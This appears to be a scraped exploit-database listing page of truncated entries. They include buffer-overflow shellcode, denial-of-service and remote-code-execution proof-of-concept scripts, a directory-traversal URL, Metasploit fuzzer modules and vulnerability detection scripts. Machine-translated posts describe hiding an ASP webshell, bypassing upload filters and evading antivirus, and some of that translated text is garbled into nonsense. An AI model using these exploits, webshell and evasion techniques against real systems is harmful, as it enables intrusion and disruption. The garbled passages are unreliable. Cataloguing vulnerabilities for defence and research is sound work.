CVE-2009-4116

CVE-2009-4116 affects CuteNews/CutePHP 1.4.6. Multiple directory-traversal flaws allow remote authenticated users (editor or admin) to read arbitrary files via a .. in the source parameter for (1) list, (2) editnews, and (3) save_con[skin] in the Editnews/Options modules. Root cause noted when ma...

XM Easy Professional FTP Server 5.8.0 - Denial of Service

I discovered a denial-of-service vulnerability on XM Easy Professional FTP Server product. After successfuly logged-in, when you send "HELP AAAA...4074 times", ftp daemon crashes. ----------------------- Exploit Title: XM Easy Professional FTP Server 5.8.0 Denial Of Service Vulnerability Date:...

Hua-the local portal system 4.6 vulnerability-vulnerability warning-the black bar safety net

Simple is the way./in. Mainly the database is not processing it!!!! Result can be written into the word! Google:quiz inurl:wen. asp Register directly a member! Then modify the profile! 4 items are written to the content inserted at the word ┼pay offs number 畣 whole 爠 Hwan enemy 瑳∨≡┩anger, connect...

Millenium MP3 Studio 2.0 pls Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python Millenium MP3 Studio 2.0 Buffer overflow exploit Coded By Molotov Moroccans Hackers THX: Allah - Simo36 - Fr33xM4n - Dr.Html - Memorhax - Kevin - Stylextra . shellcode= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"...

PHP MultiPart Form-Data Denial of Service PoC

No description provided by source. !/usr/bin/python PHP MultiPart Form-Data Denial of Service proof of concept, 23-10-2009 Bogdan Calin [email protected] import httplib, urllib, sys, string, threading from string import replace from urlparse import urlparse def usage: print "" print " PHP...

Joomla! 1.5.12 TinyMCE - Remote Code Execution (via Arbitrary File Upload)

Joomla! 1.5.12 TinyMCE - Remote Code Execution via Arbitrary File Upload ?php / Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability Tested against : - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9 - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12 Luca "daath" De Fulgentis - daath at...

Windows 7 / Server 2008R2 Remote Kernel Crash

No description provided by source. !/usr/bin/python win7-crash.py: Trigger a remote kernel crash on Win7 and server 2008R2 infinite loop Crash in KeAccumulateTicks due to NTASSERT/DbgRaiseAssertionFailure caused by an infinite loop. NO BSOD, YOU GOTTA PULL THE PLUG. To trigger it fast; from the...

Google Chrome < 3.0.195.32 RCE

Binary data 5225.pasl...

On Fckeditor2 times upload vulnerability(IIS6 semicolon parsing vulnerability)-vulnerability warning-the black bar safety net

A long time ago t00ls core group discussion. Hesitate Fckeditor first upload the 1 2 3. asp;123.jpg this format do the filtering. That is, IIS6 parsing vulnerability. Upload for the first time. Be filtered for 123asp;123.jpg so is not running. But the first 2 times to upload the same file 1 2 3...

Pony hide another method-vulnerability warning-the black bar safety net

The following is the source code.. you can set the parameters of the content plus the pony and then encrypted. OK.. html body % if request"dst""dst" then 'determine whether the parameters are correct. Incorrect access a non-existent address response. write"iframe src=dst width='1 0 0%' height='1 ...

SMB Create Pipe Request Fuzzer

This module sends a series of SMB create pipe requests using malicious strings. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'SMB Create Pipe Request Fuzzer', 'Description' = %q This module...

SSH Version Corruption

This module sends a series of SSH requests with a corrupted version string This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'SSH Version Corruption', 'Description' = %q This module sends a series...

TDS Protocol Login Request Corruption Fuzzer

This module sends a series of malformed TDS login requests. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'TDS Protocol Login Request Corruption Fuzzer', 'Description' = %q This module sends a...

QuickCart Multiple vlunerabilities

No description provided by source. GREETZ: hawk, pin3ska, black ant, qwert666, ua and gacmaan DIRECTORY TRAVERSAL http://victim.com/?p=ONE OF THE EXISITING FILES-EXISITING ACTION IN THIS FILE- Most of actions load templates form bad directory and then throw an exception. example:...

Citing Cybercrime, FBI Director Doesn't Bank Online

The head of the U.S. Federal Bureau of Investigation has stopped banking online after nearly falling for a phishing attempt. FBI Director Robert Mueller said he recently came “just a few clicks away from falling into a classic Internet phishing scam” after receiving an e-mail that appeared to be...

BackupPC Version Detection

This script detects the installed version of BackupPC. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

delphi free kill method-vulnerability warning-the black bar safety net

YeZi's Blog delphi free kill method is summarized as follows: One. Add the junk to compile the code. In fact, many friends are know, Delphi support in the code in the nested Assembly code. That is, if added to the waste Assembly code, on the network can be directly through thefree to kill. For...

Microsoft Windows Patterns & Practices EntLib Version Detection

This script finds the installed version of Microsoft Windows Patterns & Practices Enterprise Library. Copyright C 2009 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier:...

AIX 610002 : U828351

The remote host is missing AIX PTF U828351 which is related to the security of the package devices.fcp.disk.rte You should install this PTF for your system to be up-to-date. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc';...

Oracle Document Capture BlackIce DEVMODE exploit

Exploit for unknown platform in category remote exploits ================================================ Oracle Document Capture BlackIce DEVMODE exploit ================================================ Title: Oracle Document Capture BlackIce DEVMODE exploit CVE-ID: OSVDB-ID: Author: Pyrokinesis...